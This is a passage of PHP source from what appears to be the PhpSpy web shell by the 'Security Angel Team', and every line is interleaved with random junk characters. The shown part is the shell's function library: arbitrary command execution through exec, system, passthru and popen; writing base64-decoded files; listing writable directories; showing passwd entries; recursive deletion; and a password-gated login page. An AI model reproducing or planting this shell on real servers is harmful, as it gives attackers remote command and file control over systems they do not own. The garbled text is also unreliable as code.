  1315. ?>6 u' m+ j( t3 a- Z! n2 ]
  1316. </td></tr></table>
    ( ^3 R% l0 ]% x% j3 i, Q  O  V. K/ m
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">1 v) E4 A, O7 B; I4 d
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
    3 D3 D6 a9 d) y9 h' X" n2 _; i2 T
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
    5 }4 O  [' z# D( D6 D# X' X
  1320. </div>
    - q5 K4 o( N; Y4 s) q/ R
  1321. </body>' @& Y1 U# _9 V
  1322. </html>" M, C3 l% a% z8 m2 x
  1323. * S2 B( l! m3 \$ U/ R, u4 J
  1324. <?php
    $ g9 C, w" v7 F  |1 Q  v5 ^  a- N

  1325. + K1 q+ g' V" W
  1326. /*======================================================( q( O$ I0 z0 ^9 K" k" T- k5 o5 e- I
  1327. 函数库& a$ \4 E- h5 l: m" E* A9 U* C
  1328. ======================================================*/
    ! ~$ j. _% b% d9 ]4 C

  1329. $ w5 t; F) u8 u+ x6 u9 s/ E, @* ?; A# i
  1330. function m($msg) {+ l% f' D% y6 Z* h, T" i
  1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
    ! X+ w" }$ O. F/ U- [! d
  1332.         echo $msg;4 |! f) T. u+ w' @4 i  }
  1333.         echo '</div>';
    6 Z* ]; w# m8 W, Y: A3 N  B" r9 X
  1334. }
      D1 Q( \- L& i  X
  1335. function scookie($key, $value, $life = 0, $prefix = 1) {
    & x  G: P3 ^5 i6 r
  1336.         global $admin, $timestamp, $_SERVER;7 p8 z' W  e1 t3 U& V
  1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
    , q- L$ G' M" C# I
  1338.         $life = $life ? $life : $admin['cookielife'];
    1 A. F; N% c/ Z7 c& t& k5 R8 ?
  1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
    ) d* a/ V& C. i% p2 O, a+ T
  1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
    ' T* `+ b! H8 @* l
  1341. }          ^5 R1 ?7 v3 q3 }6 V
  1342. function multi($num, $perpage, $curpage, $tablename) {: Y7 a* ?2 y5 I* l3 D6 c" K
  1343.         $multipage = '';/ u, }$ m; H* b& K& F9 D9 A
  1344.         if($num > $perpage) {* ]% j) l& Z5 m
  1345.                 $page = 10;9 l, d+ d( @7 y- M- v; K7 F
  1346.                 $offset = 5;
    ' v  s- b" O0 j  E+ c' e
  1347.                 $pages = @ceil($num / $perpage);5 Z) P0 W/ {7 ^: n
  1348.                 if($page > $pages) {
    , a) ^% D3 X6 |5 T! Z. E/ a
  1349.                         $from = 1;1 w2 @: O: a) y9 k! J( m7 z
  1350.                         $to = $pages;
    8 v% ~4 ]8 u4 G7 d# ]3 b
  1351.                 } else {% H7 @/ F# P2 ?5 c
  1352.                         $from = $curpage - $offset;
    , e0 m! o; {' W  H# j) v
  1353.                         $to = $curpage + $page - $offset - 1;
    9 U' Q1 ?2 Z* n6 M2 l0 x& [* w
  1354.                         if($from < 1) {
    9 B$ @0 m! d4 d  {
  1355.                                 $to = $curpage + 1 - $from;
    " f+ A& a  l9 }* L
  1356.                                 $from = 1;. Z, {$ Y( ^9 a& R8 c4 G& K) B0 v& v
  1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    $ c$ P, F0 X  i/ e4 k2 C; f7 o
  1358.                                         $to = $page;4 f: ]6 T8 C; b' F1 y
  1359.                                 }$ v" Y/ }7 l4 f7 H6 d  w. i3 b4 ?
  1360.                         } elseif($to > $pages) {
    ) M+ C! T* U( V+ R% Z
  1361.                                 $from = $curpage - $pages + $to;8 k4 y8 p* y6 z0 \
  1362.                                 $to = $pages;
    & t4 T( K. ]: C, |! K7 Z) r0 Q  T
  1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
    # X& H! ?0 m. G) y0 _  S
  1364.                                         $from = $pages - $page + 1;; l/ L( q( S6 f; M3 [
  1365.                                 }# `( [7 |7 B6 d; S1 j0 e
  1366.                         }
    8 r, p+ d' k: z& d$ B9 A- \7 F
  1367.                 }
    7 k, r5 X- ^: _5 [( P, W
  1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
    8 m% {9 {& l+ q, Q! L
  1369.                 for($i = $from; $i <= $to; $i++) {
    1 y3 w! y2 ]+ ]! s: }
  1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
    ' x1 o/ p2 l. N* E+ w' h; g
  1371.                 }- ^- R1 ]( k) N& T8 Y6 {
  1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');& L- R9 X) C2 }' o
  1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
    8 t! k& C; }9 ^4 ^
  1374.         }: }* j# a3 T( c. W1 [" \
  1375.         return $multipage;
    8 J( h) `4 t6 y/ A, v
  1376. }; B: V0 m" g) C$ _4 M: S0 I
  1377. // 登陆入口
    9 z5 r2 V! W0 b  ^6 s7 r
  1378. function loginpage() {; [! r. t% u# M9 O- l
  1379. ?>
    ' R' |* e9 m) i% ~" ^, ~
  1380.         <style type="text/css">
    1 [2 ?: w  k: g5 t. _) m5 ~9 Z
  1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}6 N! o5 m6 O. B7 d3 G  q
  1382.         </style>
    , q: t+ k# Z  C! g2 i
  1383.         <form method="POST" action="">+ f  b1 I8 q/ A: H" ^# D/ |
  1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
    ' A8 O9 Y5 Q3 `$ v7 L
  1385.         <input type="hidden" name="doing" value="login">( f- W- C% t. `1 i3 `3 G4 J
  1386.         <input type="submit" value="Login">
    & X; }' d5 T) o
  1387.         </form>
    ; I# k( O, {# c6 {8 z; a. u+ D$ N1 G
  1388. <?php
    * C- \. p. q" X& i
  1389.         exit;
    / ^: e) M# U: g  J( N; U- x
  1390. }//end loginpage()
    6 E# s, i/ Y1 [: i" ~; M

  1391. $ f9 }, {5 n; d1 G
  1392. function execute($cfe) {5 x4 O0 L1 V& F- L
  1393.         $res = '';2 I8 }- S7 ~  _
  1394.         if ($cfe) {! L% J8 |# y+ z5 L6 q5 d6 y
  1395.                 if(function_exists('exec')) {8 m$ q2 t) ?3 u  h
  1396.                         @exec($cfe,$res);, r6 y7 x! a3 L7 V- T- Z
  1397.                         $res = join("\n",$res);
    % Y0 ?2 k" C& k4 e6 y8 z
  1398.                 } elseif(function_exists('shell_exec')) {1 W3 q& D2 J4 T* V3 U* }
  1399.                         $res = @shell_exec($cfe);
    ; J( I5 X. j$ R4 P# Z8 \  Y3 ~
  1400.                 } elseif(function_exists('system')) {
    , v/ L' B( D4 L; G0 Y+ i
  1401.                         @ob_start();
    7 r# {  l9 O5 s7 M, c4 W* v
  1402.                         @system($cfe);
    ! p3 k5 F. d' d, }" |1 L& q. {
  1403.                         $res = @ob_get_contents();
    6 s; L4 ]& s- i3 ~7 {' N
  1404.                         @ob_end_clean();6 }8 [  ]4 \* P- W
  1405.                 } elseif(function_exists('passthru')) {6 d2 v/ @4 ^: {! x
  1406.                         @ob_start();0 L- B* x6 I, Q1 F. e, `1 E
  1407.                         @passthru($cfe);
    # _' r) R) d0 [
  1408.                         $res = @ob_get_contents();& k0 `+ B. y2 x1 e, R
  1409.                         @ob_end_clean();2 [" d( B+ t: y2 ?% ~! f# @
  1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
    " r9 e/ D6 R6 H/ R( i
  1411.                         $res = '';. E; ?+ u' b* _8 \+ H: S
  1412.                         while(!@feof($f)) {
    . o0 ~4 g# [4 }) q3 t4 B
  1413.                                 $res .= @fread($f,1024);
    5 Q5 l7 }7 w/ |: J0 g# i
  1414.                         }
    * X/ C$ b. N9 p5 D0 C
  1415.                         @pclose($f);1 P& n3 N0 L( U7 c( e# A& P7 {: v
  1416.                 }0 L7 n6 S) Z; `! Q) b
  1417.         }
    5 ]9 F7 i1 ]4 [2 U7 {
  1418.         return $res;
    & K" z# y) }1 l6 }# x( U3 ^! U
  1419. }
    3 n  {. a; F6 L: x
  1420. function which($pr) {
    9 E& ?1 y. @$ D# k! I. n
  1421.         $path = execute("which $pr");
    * ]$ V% z5 m8 k6 J  m; g
  1422.         return ($path ? $path : $pr); - A' }3 n) p( v8 H7 G
  1423. }
    9 |4 J! v4 A; L# ?7 @6 L9 z
  1424. % f* Z2 H8 o) G% X! l
  1425. function cf($fname,$text){
    ) H! I! L0 ]) K) Y3 U. c' k% p
  1426.         if($fp=@fopen($fname,'w')) {4 F6 p, L3 a8 R1 `8 V& S
  1427.                 @fputs($fp,@base64_decode($text));
    9 [; F9 j5 m- ]; @
  1428.                 @fclose($fp);
    " s& y3 i" `% t. f! `' W
  1429.         }
    ! @6 \  B" E/ Z! n. N2 v
  1430. }
      U6 f& O9 {! u
  1431. 6 \  X1 \6 A* [
  1432. // 页面调试信息2 i8 ]6 K4 k% ~) v0 C! H9 d4 L
  1433. function debuginfo() {
    + r4 z7 C0 v2 r4 r7 b1 P# C
  1434.         global $starttime;
    / r. r+ k* z0 }+ R' N& W+ Y
  1435.         $mtime = explode(' ', microtime());9 r& m$ {6 P; W3 t+ @1 C. m
  1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);4 h! _5 P+ I& e# y
  1437.         echo 'Processed in '.$totaltime.' second(s)';
    & @# w  A% k* ~) X' D; B( _) S) {3 K
  1438. }
    ! x* t- r" O& U% n
  1439.   Q: K; v. c( C" n- O$ Z7 F8 r
  1440. //连接数据库) `% I% B. ]. }) Z6 g4 G# D
  1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      ~/ h5 x5 \; S, p+ K! m0 k! j8 ]
  1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {" K' T& X+ g; k* ]. Y4 ?- Q
  1443.                 p('<h2>Can not connect to MySQL server</h2>');
    7 a6 Y1 H: k' b% ]
  1444.                 exit;& O: [$ D: ^8 {  E
  1445.         }3 a0 H9 T) d3 x+ G. g$ k
  1446.         if($link && $dbname) {, |2 J6 y) U* N& P3 N
  1447.                 if (!@mysql_select_db($dbname, $link)) {8 J# p2 r: X5 ^7 F3 u5 e* g
  1448.                         p('<h2>Database selected has error</h2>');
    ; C9 _# R0 x0 T* U& M
  1449.                         exit;% k6 W% F& R( {
  1450.                 }
      u2 b/ Z- c. s0 j  p! [9 M$ c7 f
  1451.         }
    7 M1 z4 i  r3 C' U6 f! x
  1452.         if($link && mysql_get_server_info() > '4.1') {
    9 Y; m, h- u" F7 t, l7 V$ F& V( ?
  1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {/ |! F) B4 _/ U: O2 \8 H4 _
  1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);8 k3 D4 l/ u1 b
  1455.                 }4 z5 t# e6 z+ j
  1456.         }
    3 n' I) M+ d/ Z' p. T6 z2 E8 j
  1457.         return $link;
    4 I8 M  ]- m' g# w7 ?1 e
  1458. }
    ) [6 C4 E& C" _- X; w
  1459.   t; f4 P/ i. X+ g+ Y& m
  1460. // 去掉转义字符! J: N/ Q1 a: p$ U: f' O
  1461. function s_array(&$array) {
    $ N" G; f0 |' H5 a( r" M8 s
  1462.         if (is_array($array)) {
    9 x' u/ J! e2 G& p: b+ N
  1463.                 foreach ($array as $k => $v) {$ W8 Q+ E) t! G8 K  O9 C# `
  1464.                         $array[$k] = s_array($v);
    4 r$ n9 o9 H, p) z/ L
  1465.                 }# ^0 k/ w1 m; A5 a  s
  1466.         } else if (is_string($array)) {3 C1 `2 j' }& ]$ M/ y
  1467.                 $array = stripslashes($array);
    % k7 a5 E; N/ q
  1468.         }
    1 I; X; y/ _+ J0 U+ d+ _' s  f* |
  1469.         return $array;
    4 Z- d0 g3 b7 S3 W6 I! q
  1470. }
    8 u% Q& `7 Y" W+ v0 \

  1471. 5 a( X! i! Y7 a$ N- I0 R3 v/ J* \; [
  1472. // 清除HTML代码
    & M# s( `6 F1 ~3 u8 l4 i2 d1 X
  1473. function html_clean($content) {
      [, ?. q: O' M) |3 W
  1474.         $content = htmlspecialchars($content);
    4 P9 o% k* w; n6 t; h" |
  1475.         $content = str_replace("\n", "<br />", $content);* F* N; d- Z  X& }% L5 U1 z% ]
  1476.         $content = str_replace("  ", "  ", $content);
    6 h& A1 \; O& R: a' h
  1477.         $content = str_replace("\t", "    ", $content);8 A: k) ^7 o! l0 x" ~8 l! _
  1478.         return $content;# T% C& i" M% b( o. i# C
  1479. }/ l4 O; K: k* x% O" Y
  1480. % B, ~6 r2 T( B0 r% ?5 E' `
  1481. // 获取权限6 h/ D( i" A* H6 b( H  _
  1482. function getChmod($filepath){) F! x5 l5 Z! `( @, r
  1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
    5 w+ v: [! T2 J! I# O' k6 V6 i' q7 x
  1484. }  F1 s7 \& c% H% g  ?+ m+ R  ]' q; c& P
  1485. * v. L7 P  R% d8 L, J+ A
  1486. function getPerms($filepath) {5 P2 l9 p2 M' Y5 C# G( |
  1487.         $mode = @fileperms($filepath);
    : Y5 X. x$ ~  V3 @9 t1 i
  1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}) g, m2 N" E  W) h  K; n9 i
  1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}/ e( E( y# n2 ^% r
  1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
    , y. J' Q1 W. x  V- J3 j( D
  1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';} ! X7 p4 E  k& R2 @
  1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}$ e- V) k/ s- J3 X5 t
  1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}; D! u9 }2 N; \' j" c0 B
  1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}" e! ?8 _0 R9 _' n. Z" ?" k( L
  1495.         else {$type = '?';}
    + U# X! x0 ]: U1 j( s3 C* @# Q

  1496. # I5 G6 L- Z/ U6 u
  1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
    5 l. i4 Q$ j) C5 p% {2 d% h% I
  1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-'; / D8 Y% s$ \1 H& N2 V/ U& \8 U
  1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ! c2 i7 D4 [9 `- F( T( t+ ]) l; k9 s
  1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
    4 k- \- @8 i* q$ C: p3 R
  1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
    + h. Q  o5 A+ |% _
  1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-'; 4 y, V' }+ l  w8 T
  1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';   x/ s$ x; G" w* c: G& ]
  1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
    3 R" \$ L# D4 }  b2 j
  1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-'; ; E& F9 B" G  g$ p0 u6 n, s

  1506. : D# ^/ P# G: w: s
  1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}3 }. c* ^9 e# x# }; A6 L. M0 u, m
  1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
    ! A, ?# U* l- J* Q1 ?# c+ P
  1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
    4 l: R3 ~, m3 O9 T' W: Z' X

  1510. 5 ~; \5 Q/ ]* L: X
  1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
    8 Q) o; A) N& B* W/ p
  1512. }3 e& H6 {3 x7 F# o; A
  1513. 9 _6 V+ p% m4 s; ]/ R
  1514. function getUser($filepath)        {" W" I, X) c( t" _
  1515.         if (function_exists('posix_getpwuid')) {7 ]( \1 n* n& y$ T) \
  1516.                 $array = @posix_getpwuid(@fileowner($filepath));
    / Z$ x/ \) [4 }- e( J0 ^+ P4 Y
  1517.                 if ($array && is_array($array)) {9 `. R5 @% j& L5 X. P5 C
  1518.                         return ' / <a href="#" title="User: '.$array['name'].'
    3 f, p( k/ X0 X
  1519. Passwd: '.$array['passwd'].'
    ' }% f3 m- P- d! {! o
  1520. Uid: '.$array['uid'].'& y  A: E+ Q- \; V6 {5 o& a
  1521. gid: '.$array['gid'].'
    ) A8 c! V' ?2 ]' r9 I+ K/ p6 U
  1522. Gecos: '.$array['gecos'].'
    9 c, {/ n8 p  ?: d
  1523. Dir: '.$array['dir'].'
    ! _+ {! |/ a( g8 y4 f6 _. h- |
  1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';# K8 o$ c$ E# Y5 w# E; T" a
  1525.                 }
    & e) B# b0 N. S: a- A: G# r5 z
  1526.         }! ^0 I* f3 O7 o% e- U( D+ X
  1527.         return '';, Y4 O5 |( H5 y9 m" `  a+ `3 ^+ J
  1528. }
      T6 N* q* o* w' G. F( n% U

  1529. 6 a+ C  }! |9 c/ j. W& ?
  1530. // 删除目录1 v& O5 B; M/ }4 @+ u# G7 e
  1531. function deltree($deldir) {& Q# `2 F+ |, R6 q
  1532.         $mydir=@dir($deldir);        6 e6 ~/ A1 J3 y4 g" O+ K9 t  f
  1533.         while($file=$mydir->read())        {                
    : i  e8 w) R2 }7 x4 ?. b' M+ S0 y  B7 v/ r
  1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { % y2 d1 v) s( a6 R8 r0 T, Q
  1535.                         @chmod($deldir.'/'.$file,0777);1 C* `+ `) ~/ C# f
  1536.                         deltree($deldir.'/'.$file);
    1 z* Q! R8 D3 G
  1537.                 }) Y! q' P( c! h9 S( y4 u3 X
  1538.                 if (is_file($deldir.'/'.$file)) {8 i' e# l$ t: Q" L1 q8 w. L$ ~0 \% e# B
  1539.                         @chmod($deldir.'/'.$file,0777);0 W# k4 ~: A% [' `5 D! f
  1540.                         @unlink($deldir.'/'.$file);/ E4 t7 W, R7 @, W
  1541.                 }
    0 d* V% w, \5 T: J% y
  1542.         }
    1 w, Z' {- ]" c5 g9 I% m: @6 o4 S: ]9 ?' N
  1543.         $mydir->close();
    " }1 [; ?" X" g* Z8 e; U; T# n2 f
  1544.         @chmod($deldir,0777);" w6 h& I. D' M2 Z5 n4 ~* k: a4 g
  1545.         return @rmdir($deldir) ? 1 : 0;
    6 [8 c* n' w& T& M1 j
  1546. }
    8 l  H# w4 V: Q4 ]1 o

  1547. % I# P9 q6 v2 F  W( m
  1548. // 表格行间的背景色替换: H. l3 `4 j) _$ u8 d, t, M
  1549. function bg() {9 E1 R  W9 B( e  h* b
  1550.         global $bgc;
    % \6 r$ u0 `) C! x) [, r
  1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
    9 @! x0 B9 i9 M6 A" I% @7 ^
  1552. }" Y9 _$ u  P. g4 g) Q3 B

  1553. - n3 r5 T- ]  ^. d
  1554. // 获取当前的文件系统路径1 X: E" [: k  W! j. D# |" c
  1555. function getPath($scriptpath, $nowpath) {
    / D% O* z+ M+ N2 t9 `( w
  1556.         if ($nowpath == '.') {
    2 t0 b3 q/ L, J  V0 L
  1557.                 $nowpath = $scriptpath;3 z$ E. l  T/ c! z
  1558.         }
    / J; u7 f7 L- N4 o2 [
  1559.         $nowpath = str_replace('\\', '/', $nowpath);) k5 n! C7 B8 Z* j2 R! {7 T) x
  1560.         $nowpath = str_replace('//', '/', $nowpath);% }! R4 z( ~" X$ Z( e# m1 t
  1561.         if (substr($nowpath, -1) != '/') {
    , {+ o. E$ P: s2 |" G) D& M
  1562.                 $nowpath = $nowpath.'/';
    0 v% S+ _; n" e) W
  1563.         }
    . t* I7 c; _4 S
  1564.         return $nowpath;( R$ P8 G# Y& D1 V' e2 e
  1565. }" E* ^) h0 W. {7 X/ z5 [, b! i
  1566. ; _1 |9 v# H' p5 y! [( M6 ]
  1567. // 获取当前目录的上级目录
    6 r0 u# E/ |0 G. ?7 r, a
  1568. function getUpPath($nowpath) {
    + C: \& u. @& u, ~- O$ Z
  1569.         $pathdb = explode('/', $nowpath);
    . a! ~+ e6 ~- y8 j4 ^/ t- L' q* d
  1570.         $num = count($pathdb);
    6 C6 L4 Y4 n( ]5 Y8 L6 w
  1571.         if ($num > 2) {3 z2 n8 J0 g8 x) I7 T/ I
  1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);. _2 q: D9 P$ G( L+ T( j
  1573.         }
    & e/ w% j8 j  ^* X* \9 O9 R
  1574.         $uppath = implode('/', $pathdb).'/';
      F% }5 i! K8 C
  1575.         $uppath = str_replace('//', '/', $uppath);
    ! j6 m% H/ ~) Z, w0 A: [, n( r
  1576.         return $uppath;% E: t( o2 w2 Z8 U% \/ Y
  1577. }
    - P  ?+ M0 e! i% ~

  1578. 4 k7 ~3 @+ M2 a+ k
  1579. // 检查PHP配置参数4 ~9 f* A% F: C% [
  1580. function getcfg($varname) {
    6 L$ G  v! @1 y0 p
  1581.         $result = get_cfg_var($varname);1 x4 y6 i: s0 i% G. S) @5 w
  1582.         if ($result == 0) {
    * l3 L4 x# B' q  C( w
  1583.                 return 'No';
    ' E7 u# f6 A+ c! w1 W* s9 g) M: \
  1584.         } elseif ($result == 1) {
    8 [& {  P/ x2 u4 }1 y% s3 w$ f
  1585.                 return 'Yes';
    $ m) _; M1 m$ J, V. O! q6 J6 i
  1586.         } else {
    ( H" D- P0 x/ Z2 [" Y" N" W' u
  1587.                 return $result;6 Z5 H: i4 [% l3 r, C- U& {
  1588.         }% n" f* z3 W( b; [& o- t
  1589. }
    + _  Z1 O# D% Q5 o& r

  1590. $ G7 U1 I# ^3 c* C
  1591. // 检查函数情况. u! G" {6 z5 K% X- k4 C  b
  1592. function getfun($funName) {* \9 ]4 u5 K4 ?9 E8 h$ ^
  1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';+ v) h" D0 t/ `" Y8 \
  1594. }
    # d7 x, G; e; B  A" z

  1595. 6 a& P1 F7 p" S3 \8 R& V5 b/ E: L
  1596. function GetList($dir){, t2 X3 z+ {; U
  1597.         global $dirdata,$j,$nowpath;
    5 D" o8 q8 o. t7 e, j* n4 h6 _8 B
  1598.         !$j && $j=1;: ^) Y& X3 ]2 [, |( J
  1599.         if ($dh = opendir($dir)) {. m" `3 R* r. g8 h' }! }
  1600.                 while ($file = readdir($dh)) {8 E' E' x/ t' q  z$ A
  1601.                         $f=str_replace('//','/',$dir.'/'.$file);8 [* i. v# t: S! @/ t* y, @
  1602.                         if($file!='.' && $file!='..' && is_dir($f)){; L: b8 U. h  }; w
  1603.                                 if (is_writable($f)) {
    6 {8 H1 D% G( A/ d; M, V1 Z5 t
  1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);  D" h* @. Y* }* x
  1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
    # R( _+ z  c+ o2 z
  1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
    7 ^' i4 i% k- \8 U. a: Y. r
  1607.                                         $dirdata[$j]['dirperm']=getPerms($f);" ^3 c+ o/ d8 I+ s! g; |
  1608.                                         $dirdata[$j]['dirlink']=ue($dir);
    0 o1 z/ ]9 m* e
  1609.                                         $dirdata[$j]['server_link']=$f;7 g4 m6 c& n# h# X; f
  1610.                                         $dirdata[$j]['client_link']=ue($f);! ?7 s1 K" d1 e4 z6 e) n2 j% o
  1611.                                         $j++;
    7 K2 Z" i* v. W! B" U$ I: U
  1612.                                 }
    7 z  H' B7 o0 B/ g% L
  1613.                                 GetList($f);" X* {# |7 C% X* L$ b+ f
  1614.                         }# }7 S+ H6 p3 ^: Z0 r
  1615.                 }9 U5 o/ Y3 j) u$ k  d$ ~; y) J
  1616.                 closedir($dh);. U: O/ R# _1 C9 O$ d& J
  1617.                 clearstatcache();
    ' R; B' Q5 I+ H5 i$ T
  1618.                 return $dirdata;, ^& q+ s; |+ v  N9 ^
  1619.         } else {! `0 z: S" B! U4 E
  1620.                 return array();9 m3 f  Z: P3 b$ D2 i
  1621.         }
    / s* T. u4 W  B
  1622. }& e6 t: `9 ]4 ~7 r# N2 M
  1623. - \3 G" ]  H0 l
  1624. function qy($sql) {
    3 t4 I& o; [' D* ]' O9 }& s( B1 F
  1625.         //echo $sql.'<br>';; {4 N, p7 o+ r2 r$ F% ^
  1626.         $res = $error = '';2 r5 {# _$ y/ u# u' P$ |. v6 m/ c  [5 Y
  1627.         if(!$res = @mysql_query($sql)) { , C2 J6 U# K8 X0 Z, c" @
  1628.                 return 0;" M5 y$ a, K0 A: j
  1629.         } else if(is_resource($res)) {
    & H' l! d, e+ b# U; Q' Z
  1630.                 return 1;
    $ d1 `. ?! a5 g
  1631.         } else {1 U/ X& ^' h0 |- {1 V' u; G
  1632.                 return 2;9 ]1 K- q1 {. b$ }3 \$ X/ n  J( F
  1633.         }       
    + T( z1 ^& V9 j; x( k0 `
  1634.         return 0;* j3 E9 ^5 \0 a  [
  1635. }
      s2 K9 R" O- }: o) v* r: b2 @
  1636. 0 w! g' u3 Y# l( i% C
  1637. function q($sql) {
    $ ]2 p4 _2 h5 Q
  1638.         return @mysql_query($sql);
    / ~$ x4 y8 V& k% t
  1639. }
    / H6 |& D0 K# h5 a
  1640. " D7 l5 {) l$ L$ f& @
  1641. function fr($qy){
    5 }( P  E$ F# a$ N0 r
  1642.         mysql_free_result($qy);6 D$ e- s" e. `9 \7 O8 A9 V
  1643. }! [9 H" U0 _' J! C

  1644. , K, z5 T/ B9 x% K$ }
  1645. function sizecount($size) {
    + F" ^7 _% o  g( R9 x
  1646.         if($size > 1073741824) {- L! b" _8 Q+ P4 K# Q8 V
  1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';# E$ ~9 x! m: f1 G. Q) @. C4 m8 Z
  1648.         } elseif($size > 1048576) {
    9 g- S6 X& X; ]0 M# ]1 K
  1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
    , f5 Q+ {2 N( j& f( F! m1 m0 k
  1650.         } elseif($size > 1024) {, f2 O/ [' q0 ]( [. u6 k
  1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
    3 A, G- l5 V  N* S9 g* k
  1652.         } else {: ?6 Q: F7 d! N2 M' Q( R
  1653.                 $size = $size . ' B';
    8 p* |" r0 x* E" n
  1654.         }
    ' S0 \' a- P) {+ t
  1655.         return $size;1 m3 t5 V( s' W, u( k( x! @7 `
  1656. }
    5 V* _& @  ^9 S7 P4 s
  1657. * j6 A  {+ u. `( a8 x
  1658. // 压缩打包类
    : f# U* T0 K$ H
  1659. class PHPZip{$ S$ M( T! L( @& Z' D' y- j
  1660.         var $out='';
    $ g' H% g1 b0 b+ c0 N7 z6 X! L( V) F
  1661.         function PHPZip($dir)        {2 o& W( K) T$ N/ Y1 E9 V' h
  1662.                 if (@function_exists('gzcompress'))        {
    % S) W- r  L$ l* [5 f! y, ~% }
  1663.                         $curdir = getcwd();
    + d( J1 ]7 H8 l/ `/ D/ r
  1664.                         if (is_array($dir)) $filelist = $dir;: y1 X5 i: e' Y% o  i
  1665.                         else{9 M4 j3 q8 Z; \  r! M
  1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
    7 U* [! i: T( Y- U# e% L" m4 y' e) l
  1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
    4 G& W! S5 L$ I2 [# Z; X% U, R
  1668.                         }
    & V3 d/ l# w3 P( f1 s  l  }6 S
  1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
    - v% {# j9 D; r* U: G( G
  1670.                         else chdir($curdir);
    & n) f2 C' U* U5 `9 r6 J/ ]
  1671.                         if (count($filelist)>0){$ M3 N+ C' C9 X, @1 U) l( P. X; y
  1672.                                 foreach($filelist as $filename){
    ( m% ~. o: i1 s4 v7 j; C" ?
  1673.                                         if (is_file($filename)){
    & r6 a" M; i, `7 V% W- t  D
  1674.                                                 $fd = fopen ($filename, 'r');
    3 M1 k4 `$ |7 F( J5 O; [# S! v
  1675.                                                 $content = @fread ($fd, filesize($filename));
    ; B( j, N4 h' j7 f
  1676.                                                 fclose ($fd);- |9 O* b) \7 t  B2 R3 V) f' e  q
  1677.                                                 if (is_array($dir)) $filename = basename($filename);
    $ J' \8 Q  d; V0 q3 G9 a' x% T
  1678.                                                 $this -> addFile($content, $filename);8 |1 U0 d3 q9 {) V
  1679.                                         }
    8 K( I' Q. J  B1 Z) n
  1680.                                 }9 R4 B# I( Z/ M& n& J. C
  1681.                                 $this->out = $this -> file();
    ) A2 ]4 n) V+ N& S# G7 O" X
  1682.                                 chdir($curdir);
    5 I) `" x& f+ x+ h, m* C9 ?- B
  1683.                         }
      c  g" r9 ^0 s& ]7 _8 J! I
  1684.                         return 1;  J% ~5 D7 \5 y1 J7 O2 N
  1685.                 }
